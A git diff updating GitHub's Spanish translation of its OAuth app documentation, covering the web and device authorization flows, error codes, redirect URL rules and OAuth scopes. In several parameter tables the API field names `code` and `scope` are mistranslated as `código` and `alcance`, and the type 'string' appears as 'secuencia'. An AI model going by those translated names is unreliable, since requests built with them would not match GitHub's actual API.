+| `allow_signup` | `secuencia` | Ya sea que se ofrezca o no una opción para registrarse en GitHub a los usuarios sin autenticar durante el flujo de OAuth, la opción predeterminada es `true`. Utiliza `false` cuando una política prohíba los registros.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
 
-### 2. Users are redirected back to your site by GitHub
+### 2. GitHub redirecciona a los usuarios de vuelta a tu sitio
 
-If the user accepts your request, {% data variables.product.product_name %} redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. The temporary code will expire after 10 minutes. If the states don't match, then a third party created the request, and you should abort the process.
+Si el usuario acepta tu solicitud, {% data variables.product.product_name %} lo redirecciona a tu sitio con un `code` temporal en un parámetro de código así como el estado que proporcionaste en el paso previo en un parámetro de `state`. El código temporal caducará después de 10 minutos. Si los estados no empatan, entonces un tercero creó la solicitud, y debes abandonar el proceso.
 
-Exchange this `code` for an access token:
+Intercambia este `code` por un token de acceso:
 
     POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
 
-#### Parameters
+#### Parámetros
 
-Name | Type | Description
------|------|--------------
-`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}.
-`client_secret` | `string` | **Required.** The client secret you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}.
-`code` | `string` | **Required.** The code you received as a response to Step 1.
-`redirect_uri` | `string` | The URL in your application where users are sent after authorization.
+| Nombre          | Tipo        | Descripción                                                                                                                                                 |
+| --------------- | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`     | `secuencia` | **Requerido.** La ID de cliente que recibiste de {% data variables.product.product_name %} para tu {% data variables.product.prodname_oauth_app %}.       |
+| `client_secret` | `secuencia` | **Requerido.** El secreto del cliente que recibiste de {% data variables.product.product_name %} para tu {% data variables.product.prodname_oauth_app %}. |
+| `código`        | `secuencia` | **Requerido.** El código que recibiste como respuesta al Paso 1.                                                                                            |
+| `redirect_uri`  | `secuencia` | La URL en tu aplicación, hacia la cual se envía a los usuarios después de su autorización.                                                                  |
 
-#### Response
+#### Respuesta
 
-By default, the response takes the following form:
+Predeterminadamente, la respuesta toma la siguiente forma:
 
 ```
 access_token={% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&scope=repo%2Cgist&token_type=bearer
@@ -102,14 +103,14 @@ Accept: application/xml
 </OAuth>
 ```
 
-### 3. Use the access token to access the API
+### 3. Utiliza el token de acceso para acceder a la API
 
-The access token allows you to make requests to the API on a behalf of a user.
+El token de acceso te permite hacer solicitudes a la API a nombre de un usuario.
 
     Authorization: token OAUTH-TOKEN
     GET {% data variables.product.api_url_code %}/user
 
-For example, in curl you can set the Authorization header like this:
+Por ejemplo, en curl, puedes configurar el encabezado de autorización de la siguiente manera:
 
 ```shell
 curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user
@@ -117,38 +118,38 @@ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Device flow
+## Flujo de dispositivos
 
 {% note %}
 
-**Note:** The device flow is in public beta and subject to change.
+**Nota:** El flujo de dispositivos se encuentra en un beta público y está sujeto a cambios.
 
 {% endnote %}
 
-The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager.
+Este flujo de dispositivos te permite autorizar usuarios para una app sin encabezado, tal como una herramienta de CLI o un administrador de credenciales de Git.
 
-### Overview of the device flow
+### Resumen del flujo de dispositivos
 
-1. Your app requests device and user verification codes and gets the authorization URL where the user will enter the user verification code.
-2. The app prompts the user to enter a user verification code at {% data variables.product.device_authorization_url %}.
-3.  The app polls for the user authentication status. Once the user has authorized the device, the app will be able to make API calls with a new access token.
+1. Tu app solicita el dispositivo y los códigos de verificación de usuario y obtiene una URL de autoización en donde el usuario ignresará su código de verificación de usuario.
+2. La app pide al usuario ingresar un código de verificación de usuario en {% data variables.product.device_authorization_url %}.
+3.  La app sondea el estado de autenticación del usuario. Una vez que el usuario haya autorizado el dispositivo, la app podrá hacer llamadas a la API con un token de acceso nuevo.
 
-### Step 1: App requests the device and user verification codes from GitHub
+### Paso 1: La app solicita los códigos de dispositivo y de usuario a GitHub
 
     POST {% data variables.product.oauth_host_code %}/login/device/code
 
-Your app must request a user verification code and verification URL that the app will use to prompt the user to authenticate in the next step. This request also returns a device verification code that the app must use to receive an access token and check the status of user authentication.
+Tu app debe solicitar un código de verificación de usuario y una URL de verificación que la app utilizará para indicar al usuario que se autentique en el siguiente paso. Esta solicitud también devuelve un código de verificación de dispositivo que debe utilizar la app para recibir un token de acceso y verificar así el estado de la autenticación del usuario.
 
-#### Input Parameters
+#### Parámetros de entrada
 
-Name | Type | Description
------|------|--------------
-`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your app.
-`scope` | `string` | The scope that your app is requesting access to.
+| Nombre      | Tipo        | Descripción                                                                                             |
+| ----------- | ----------- | ------------------------------------------------------------------------------------------------------- |
+| `client_id` | `secuencia` | **Requerido.** La ID de cliente que recibiste de {% data variables.product.product_name %} para tu app. |
+| `alcance`   | `secuencia` | El alcance al cual está solicitando acceso tu app.                                                      |
 
-#### Response
+#### Respuesta
 
-By default, the response takes the following form:
+Predeterminadamente, la respuesta toma la siguiente forma:
 
 ```
 device_code=3584d83530557fdd1f46af8289938c8ef79f9dc5&expires_in=900&interval=5&user_code=WDJB-MJHT&verification_uri=https%3A%2F%{% data variables.product.product_url %}%2Flogin%2Fdevice
@@ -178,43 +179,43 @@ Accept: application/xml
 </OAuth>
 ```
 
-#### Response parameters
+#### Parámetros de respuesta
 
-Name | Type | Description
------|------|--------------
-`device_code` | `string` | The device verification code is 40 characters and used to verify the device.
-`user_code` | `string` | The user verification code is displayed on the device so the user can enter the code in a browser. This code is 8 characters with a hyphen in the middle.
-`verification_uri` | `string` | The verification URL where users need to enter the `user_code`: {% data variables.product.device_authorization_url %}.
-`expires_in` | `integer`| The number of seconds before the `device_code` and `user_code` expire. The default is 900 seconds or 15 minutes.
-`interval` | `integer` | The minimum number of seconds that must pass before you can make a new access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) to complete the device authorization. For example, if the interval is 5, then you cannot make a new request until 5 seconds pass. If you make more than one request over 5 seconds, then you will hit the rate limit and receive a `slow_down` error.
+| Nombre             | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| ------------------ | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `device_code`      | `secuencia` | El código de verificación de dispositivo es de 40 caracteres y se utiliza para verificar dicho dispositivo.                                                                                                                                                                                                                                                                                                                                                                                             |
+| `user_code`        | `secuencia` | El código de verificación de usuario se muestra en el dispositivo para que el usuario pueda ingresar dicho código en un buscador. El código es de 8 caracteres con un guión medio a la mitad.                                                                                                                                                                                                                                                                                                           |
+| `verification_uri` | `secuencia` | La URL de verificación en donde los usuarios necesitan ingresar el `user_code`: {% data variables.product.device_authorization_url %}.                                                                                                                                                                                                                                                                                                                                                                |
+| `expires_in`       | `número`    | La cantidad de segundos antes de que caduquen tanto el `device_code` como el `user_code`. La cantidad predeterminada es de 900 segundos o 15 minutos.                                                                                                                                                                                                                                                                                                                                                   |
+| `interval`         | `número`    | La cantidad mínima de segundos que deben transcurrir antes de que puedas hacer una soliciud de token de acceso nueva (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) para completar la autorización del dispositivo. Por ejemplo, si el intervalo es 5, entonces no puedes hacer una solicitud nueva hasta que hayan transcurrido 5 segudos. Si haces más de una solicitud en estos 5 segundos, entonces lelgarás al límite de tasa y recibirás un error de `slow_down`. |
 
-### Step 2: Prompt the user to enter the user code in a browser
+### Paso 2: Indicar al usuario ingresar el código de usuario en un buscador
 
-Your device will show the user verification code and prompt the user to enter the code at {% data variables.product.device_authorization_url %}.
+Tu dispositivo mostrará el código de verificación de usuario y pedirá al usuario ingresar el código en la {% data variables.product.device_authorization_url %}.
 
-  ![Field to enter the user verification code displayed on your device](/assets/images/github-apps/device_authorization_page_for_user_code.png)
+  ![Campo para ingresar el código de verificación de usuario nuevo en tu dispositivo](/assets/images/github-apps/device_authorization_page_for_user_code.png)
 
-### Step 3: App polls GitHub to check if the user authorized the device
+### Paso 3: La app sondea GitHub para verificar si el usuario autorizó el dispositivo
 
     POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
 
-Your app will make device authorization requests that poll `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`, until the device and user codes expire or the user has successfully authorized the app with a valid user code. The app must use the minimum polling `interval` retrieved in step 1 to avoid rate limit errors. For more information, see "[Rate limits for the device flow](#rate-limits-for-the-device-flow)."
+Tu app hará solicitudes de autorización de dispositivo que sondean a `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`, hasta que los códigos de dispositivo y de usuario caduquen o hasta que el usuario haya autorizado la app con éxito con un código de usuario válido. La app debe usar el `interval` de sondeo mínimo que se ha recuperado en el paso 1 para evitar los errores de límite de tasa. Para obtener más información, consulta la sección "[Límites de tasa para el flujo del dispositivo](#rate-limits-for-the-device-flow)".
 
-The user must enter a valid code within 15 minutes (or 900 seconds). After 15 minutes, you will need to request a new device authorization code with `POST {% data variables.product.oauth_host_code %}/login/device/code`.
+El usuario debe ingresar un código válido dentro de los 15 minutos (o 900 segundos) siguientes. Después de transcurridos estos 15 minutos, necesitarás solicitar un código de autorización de dispositivo nuevo con `POST {% data variables.product.oauth_host_code %}/login/device/code`.
 
-Once the user has authorized, the app will receive an access token that can be used to make requests to the API on behalf of a user.
+Ya que el usuario lo haya autorizado, la app recibirá un token de acceso que se puede utilizar para hacer solicitudes a la API en nombre de un usuario.
 
-#### Input parameters
+#### Parámetros de entrada
 
-Name | Type | Description
------|------|--------------
-`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.product_name %} for your {% data variables.product.prodname_oauth_app %}.
-`device_code` | `string` | **Required.** The device verification code you received from the `POST {% data variables.product.oauth_host_code %}/login/device/code` request.
-`grant_type` | `string` | **Required.** The grant type must be `urn:ietf:params:oauth:grant-type:device_code`.
+| Nombre        | Tipo        | Descripción                                                                                                                                                      |
+| ------------- | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`   | `secuencia` | **Requerido.** La ID de cliente que recibiste de {% data variables.product.product_name %} para tu {% data variables.product.prodname_oauth_app %}.            |
+| `device_code` | `secuencia` | **Requerido.** El código de verificación del dispositivo que recibiste de la solicitud de `POST {% data variables.product.oauth_host_code %}/login/device/code`. |
+| `grant_type`  | `secuencia` | **Requerido.** El tipo de otorgamiento debe ser `urn:ietf:params:oauth:grant-type:device_code`.                                                                  |
 
-#### Response
+#### Respuesta
 
-By default, the response takes the following form:
+Predeterminadamente, la respuesta toma la siguiente forma:
 
 ```
 access_token={% ifversion fpt or ghes > 3.1 or ghae or ghec %}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&token_type=bearer&scope=repo%2Cgist
@@ -240,52 +241,46 @@ Accept: application/xml
 </OAuth>
 ```
 
-### Rate limits for the device flow
+### Límites de tasa para el flujo del dispositivo
 
-When a user submits the verification code on the browser, there is a rate limit of 50 submissions in an hour per application.
+Cuando un usuario emite el código de verificación en el buscador, hay un límite de tasa de 50 emisiones en una hora por aplicación.
 
-If you make more than one access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) within the required minimum timeframe between requests (or `interval`), you'll hit the rate limit and receive a `slow_down` error response. The `slow_down` error response adds 5 seconds to the last `interval`. For more information, see the [Errors for the device flow](#errors-for-the-device-flow).
+Si realizas más de una solicitud de acceso con token (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) dentro del marco de tiempo mínimo requerido entre solicitudes (o `interval`), alcanzarás el límite de tasa y recibirás una respuesta de error de `slow_down`. La respuesta de error `slow_down` agrega 5 segundos al último `interval`. Para obtener más información, consulta los [Errores para el flujo del dispositivo](#errors-for-the-device-flow).
 
-### Error codes for the device flow
+### Códigos de error para el flujo del dispositivo
 
-| Error code | Description |
-|----|----|
-| `authorization_pending`| This error occurs when the authorization request is pending and the user hasn't entered the user code yet. The app is expected to keep polling the `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` request without exceeding the [`interval`](#response-parameters), which requires a minimum number of seconds between each request. |
-| `slow_down` | When you receive the `slow_down` error, 5 extra seconds are added to the minimum `interval` or timeframe required between your requests using `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. For example, if the starting interval required at least 5 seconds between requests and you get a `slow_down` error response, you must now wait a minimum of 10 seconds before making a new request for an OAuth access token. The error response includes the new `interval` that you must use.
-| `expired_token` | If the device code expired, then you will see the `token_expired` error. You must make a new request for a device code.
-| `unsupported_grant_type` | The grant type must be `urn:ietf:params:oauth:grant-type:device_code` and included as an input parameter when you poll the OAuth token request `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`.
-| `incorrect_client_credentials` | For the device flow, you must pass your app's client ID, which you can find on your app settings page. The `client_secret` is not needed for the device flow.
-| `incorrect_device_code` | The device_code provided is not valid.
-| `access_denied` | When a user clicks cancel during the authorization process, you'll receive a `access_denied` error and the user won't be able to use the verification code again.
+| Código de error                | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `authorization_pending`        | Este error ocurre cuando la solicitud de autorización se encuentra pendiente y el usuario no ha ingresado el código de usuario aún. Se espera que la app siga sondeando la solicitud de  `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` sin exceder el [`interval`](#response-parameters), lo cual requiere una cantidad mínima de segundos entre cada solicitud.                                                                                                                                                                                      |
+| `slow_down`                    | Cuando recibes el error de `slow_down`, se agregan 5 segundos extra al `interval` mínimo o al marco de tiempo requerido entre tus solicitudes utilizando `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. Por ejemplo, si el intervalo de inicio requirió por lo menos 5 segundos entre solicitudes y obtienes una respuesta de error de `slow_down`, ahora necesitarás esperar por lo menos 10 segundos antes de que hagas una solicitud nueva para un token de acceso de OAuth. La respuesta de error incluye el nuevo `interval` que debes utilizar. |
+| `expired_token`                | Si el código de dispositivo expiró, entonces verás el error `token_expired`. Debes hacer una nueva solicitud para un código de dispositivo.                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| `unsupported_grant_type`       | El tipo de otorgamiento debe ser `urn:ietf:params:oauth:grant-type:device_code` y se debe incluir como un parámetro de entrada cuando sondeas la solicitud de token de OAuth `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`.                                                                                                                                                                                                                                                                                                                           |
+| `incorrect_client_credentials` | Para el flujo de dispositivos, debes pasar la ID de cliente de tu app, la cual puedes encontrar en la página de configuración de la misma. No se necesita el `client_secret` para el flujo del dispositivo.                                                                                                                                                                                                                                                                                                                                                                          |
+| `incorrect_device_code`        | El device_code que se proporcionó es inválido.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| `access_denied`                | Cuando un usuario da clic en cancelar durante el proceso de autorización, recibirás un error de `access_denied` y el usuario no podrá utilizar el código de verificación nuevamente.                                                                                                                                                                                                                                                                                                                                                                                                 |
 
-For more information, see the "[OAuth 2.0 Device Authorization Grant](https://tools.ietf.org/html/rfc8628#section-3.5)."
+Para obtener más información, consulta la sección "[Otorgamiento de Autorización de Dispositivo de OAuth 2.0](https://tools.ietf.org/html/rfc8628#section-3.5)".
 
 {% endif %}
 
-## Non-Web application flow
+## Flujo de aplicaciónes no web
 
-Non-web authentication is available for limited situations like testing. If you need to, you can use [Basic Authentication](/rest/overview/other-authentication-methods#basic-authentication) to create a personal access token using your [Personal access tokens settings page](/articles/creating-an-access-token-for-command-line-use). This technique enables the user to revoke access at any time.
+La autenticación no web está disponible para situaciones limitadas, como las pruebas. Si lo necesitas, puedes utilizar la [Autenticación Básica](/rest/overview/other-authentication-methods#basic-authentication) para crear un token de acceso personal utilizando tu [página de configuración de los tokens de acceso personal](/articles/creating-an-access-token-for-command-line-use). Esta técnica le permite al usuario revocar el acceso en cualquier momento.
 
 {% ifversion fpt or ghes or ghec %}
 {% note %}
 
-**Note:** When using the non-web application flow to create an OAuth2 token, make sure to understand how to [work with
-two-factor authentication](/rest/overview/other-authentication-methods#working-with-two-factor-authentication) if
-you or your users have two-factor authentication enabled.
+**Nota:** CUando utilices el flujo de aplicaciones no web para crear un token OAuth2, asegúrate de entender cómo [trabajar con autenticaciones de dos factores](/rest/overview/other-authentication-methods#working-with-two-factor-authentication) si tú o tus usuarios han habilitado dicho tipo de autenticación.
 
 {% endnote %}
 {% endif %}
 
-## Redirect URLs
+## URLs de Redirección
 
-The `redirect_uri` parameter is optional. If left out, GitHub will
-redirect users to the callback URL configured in the OAuth Application
-settings. If provided, the redirect URL's host and port must exactly
-match the callback URL. The redirect URL's path must reference a
-subdirectory of the callback URL.
+El parámetro `redirect_uri` es opcional. Si se deja fuera, GitHub redireccionará a los usuarios a la URL de rellamado configurada en la aplicación de OAuth. De proporcionarse, el puerto y host de las URL de rellamado deberán empatar exactamente con la URL de rellamado. La ruta de las URL de redireccionamiento deberán referenciar un subdirectorio de la URL de rellamado.
 
     CALLBACK: http://example.com/path
-
+    
     GOOD: http://example.com/path
     GOOD: http://example.com/path/subdir/other
     BAD:  http://example.com/bar
@@ -294,31 +289,31 @@ subdirectory of the callback URL.
     BAD:  http://oauth.example.com:8080/path
     BAD:  http://example.org
 
-### Localhost redirect urls
+### URLs de redirección de Localhost
 
-The optional `redirect_uri` parameter can also be used for localhost URLs. If the application specifies a localhost URL and a port, then after authorizing the application users will be redirected to the provided URL and port. The `redirect_uri` does not need to match the port specified in the callback url for the app.
+El parámetro opcional `redirect_uri` también puede utilizarse para las URL de localhost. Si la aplicación especifica una URL y puerto de localhost, entonces, después de autorizar la aplicación, los usuarios se redireccionarán al puerto y URL proporcionados. La `redirect_uri` no necesita empatar con el puerto especificado en la url de rellamado para la app.
 
-For the `http://localhost/path` callback URL, you can use this `redirect_uri`:
+Para la URL de rellamado de `http://localhost/path`, puedes utilizar esta `redirect_uri`:
 
 ```
 http://localhost:1234/path
 ```
 
-## Creating multiple tokens for OAuth Apps
+## Crear tokens múltiples para Apps de OAuth
 
-You can create multiple tokens for a user/application/scope combination to create tokens for specific use cases.
+Puedes crear tokens múltiples para una combinación de usuario/aplicación/alcance para crear tokens para casos de uso específicos.
 
-This is useful if your OAuth App supports one workflow that uses GitHub for sign-in and only requires basic user information. Another workflow may require access to a user's private repositories. Using multiple tokens, your OAuth App can perform the web flow for each use case, requesting only the scopes needed. If a user only uses your application to sign in, they are never required to grant your OAuth App access to their private repositories.
+Esto es útil si tu Aplicación de OAuth es compatible con un flujo de trabajo que utilice GitHub para registrarse y requiera solo información básica del usuario. Otro flujo de trabajo podría requerir acceso a los repositorios privados del usuario. Al utilizar tokens múltiples, tu App de OAuth podrá llevar a cabo el flujo web para cada caso de uso, solicitando únicamente los alcances que necesite. Si un usuario utiliza tu aplicación únicamente para registrarse, nunca se les solicitará otorgar acceso a tu App de OAuth para sus repositorios privados.
 
 {% data reusables.apps.oauth-token-limit %}
 
 {% data reusables.apps.deletes_ssh_keys %}
 
-## Directing users to review their access
+## Dirigir a los usuarios para revisar su acceso
 
-You can link to authorization information for an OAuth App so that users can review and revoke their application authorizations.
+Puedes vincular a la información de autorización para una App de OAuth para que los usuarios puedan revisar y revocar sus autorizaciones de la aplicación.
 
-To build this link, you'll need your OAuth Apps `client_id` that you received from GitHub when you registered the application.
+Para crear este vínculo, necesitarás el `client_id` de tus Apps de Oauth, el cual recibiste de GitHub cuando registraste la aplicación.
 
 ```
 {% data variables.product.oauth_host_code %}/settings/connections/applications/:client_id
@@ -326,17 +321,17 @@ To build this link, you'll need your OAuth Apps `client_id` that you received fr
 
 {% tip %}
 
-**Tip:** To learn more about the resources that your OAuth App can access for a user, see "[Discovering resources for a user](/rest/guides/discovering-resources-for-a-user)."
+**Tip:** Para aprender más acerca de los recursos a los cuales puede acceder tu App de OAuth para un usuario, consulta la sección "[Descubrir recursos para un usuario](/rest/guides/discovering-resources-for-a-user)".
 
 {% endtip %}
 
-## Troubleshooting
+## Solución de problemas
 
-* "[Troubleshooting authorization request errors](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)"
-* "[Troubleshooting OAuth App access token request errors](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)"
-{% ifversion fpt or ghae or ghes > 3.0 or ghec %}* "[Device flow errors](#error-codes-for-the-device-flow)"{% endif %}{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
-* "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
+* "[Solución de problemas para errores de solicitud de autorización](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)"
+* "[Solución de problemas para errores de solicitud de tokens de acceso para Apps de OAuth](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)"
+{% ifversion fpt or ghae or ghes > 3.0 or ghec %}* "[Errores de flujo de dispositivo](#error-codes-for-the-device-flow)"{% endif %}{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
+* "[Vencimiento y revocación de token](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
 
-## Further reading
+## Leer más
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)"
+- "[Acerca de la autenticación en {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)"
diff --git a/translations/es-ES/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md b/translations/es-ES/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
index 7e318e6fac..83d89e3290 100644
--- a/translations/es-ES/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
+++ b/translations/es-ES/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
@@ -2,7 +2,7 @@
 title: Crear una App de OAuth
 intro: '{% data reusables.shortdesc.creating_oauth_apps %}'
 redirect_from:
-  - /apps/building-integrations/setting-up-and-registering-oauth-apps/registering-oauth-apps/
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps/registering-oauth-apps
   - /apps/building-oauth-apps/creating-an-oauth-app
   - /developers/apps/creating-an-oauth-app
 versions:
diff --git a/translations/es-ES/content/developers/apps/building-oauth-apps/index.md b/translations/es-ES/content/developers/apps/building-oauth-apps/index.md
index 1bccef8167..fc15f939fc 100644
--- a/translations/es-ES/content/developers/apps/building-oauth-apps/index.md
+++ b/translations/es-ES/content/developers/apps/building-oauth-apps/index.md
@@ -2,7 +2,7 @@
 title: Crear Apps de OAuth
 intro: Puedes crear OAuth Apps para ti mismo o para que las utilicen los demás. Aprende como registrar y configurar permisos y opciones de autenticación para Apps de OAuth.
 redirect_from:
-  - /apps/building-integrations/setting-up-and-registering-oauth-apps/
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps
   - /apps/building-oauth-apps
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
index 3dc9de0fb9..9916b444d1 100644
--- a/translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
+++ b/translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
@@ -1,9 +1,9 @@
 ---
-title: Scopes for OAuth Apps
+title: Alcances para las Apps de OAuth
 intro: '{% data reusables.shortdesc.understanding_scopes_for_oauth_apps %}'
 redirect_from:
-  - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps/
-  - /apps/building-oauth-apps/scopes-for-oauth-apps/
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps
+  - /apps/building-oauth-apps/scopes-for-oauth-apps
   - /apps/building-oauth-apps/understanding-scopes-for-oauth-apps
   - /developers/apps/scopes-for-oauth-apps
 versions:
@@ -14,17 +14,18 @@ versions:
 topics:
   - OAuth Apps
 ---
-When setting up an OAuth App on GitHub, requested scopes are displayed to the user on the authorization form.
+
+Cuando estás configurando una App de OAuth en GitHub, los alcances solicitados se muestran al usuario en el formato de autorización.
 
 {% note %}
 
-**Note:** If you're building a GitHub App, you don’t need to provide scopes in your authorization request. For more on this, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+**Nota:** Si estás creando una GitHub App, no necesitas proporcionar alcances en tu solicitud de autorización. Para obtener más información sobre esto, consulta la sección "[Identificar y autorizar usuarios para las GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)".
 
 {% endnote %}
 
-If your {% data variables.product.prodname_oauth_app %} doesn't have access to a browser, such as a CLI tool, then you don't need to specify a scope for users to authenticate to your app. For more information, see "[Authorizing OAuth apps](/developers/apps/authorizing-oauth-apps#device-flow)."
+Si tu {% data variables.product.prodname_oauth_app %} no tiene acceso a un buscador, tal como una herramienta de CLI, entonces no necesitarás especificar un alcance para que los usuarios se autentiquen dicha app. Para obtener más información, consulta la sección "[Autorizar las Apps de OAuth](/developers/apps/authorizing-oauth-apps#device-flow)".
 
-Check headers to see what OAuth scopes you have, and what the API action accepts:
+Verifica los encabezados para ver qué alcances de OAuth tienes, y cuáles acepta la acción de la API:
 
 ```shell
 $ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/users/codertocat -I
@@ -33,54 +34,53 @@ X-OAuth-Scopes: repo, user
 X-Accepted-OAuth-Scopes: user
 ```
 
-* `X-OAuth-Scopes` lists the scopes your token has authorized.
-* `X-Accepted-OAuth-Scopes` lists the scopes that the action checks for.
+* `X-OAuth-Scopes` lista los alcances que tu token tiene autorizados.
+* `X-Accepted-OAuth-Scopes` lista los alcances que revisrá la acción.
 
-## Available scopes
+## Alcances disponibles
 
-Name | Description
------|-----------|{% ifversion not ghae %}
-**`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %}
-**`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %}
-**`repo`** | Grants full access to repositories, including private repositories. That includes read/write access to code, commit statuses, repository and organization projects, invitations, collaborators, adding team memberships, deployment statuses, and repository webhooks for repositories and organizations. Also grants ability to manage user projects.
-&emsp;`repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code.
-&emsp;`repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %}
-&emsp;`public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %}
-&emsp;`repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes > 3.0 or ghec %}
-&emsp;`security_events` | Grants: <br/> read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) <br/> read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning) <br/> This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}{% ifversion ghes < 3.1 %}
-&emsp;`security_events` | Grants read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning). This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}
-**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks.
-&emsp;`write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.
-&emsp;`read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.
-**`admin:org`** | Fully manage the organization and its teams, projects, and memberships.
-&emsp;`write:org`| Read and write access to organization membership, organization projects, and team membership.
-&emsp;`read:org`| Read-only access to organization membership, organization projects, and team membership.
-**`admin:public_key`** | Fully manage public keys.
-&emsp;`write:public_key`| Create, list, and view details for public keys.
-&emsp;`read:public_key`| List and view details for public keys.
-**`admin:org_hook`** | Grants read, write, ping, and delete access to organization hooks. **Note:** OAuth tokens will only be able to perform these actions on organization hooks which were created by the OAuth App. Personal access tokens will only be able to perform these actions on organization hooks created by a user.
-**`gist`** | Grants write access to gists.
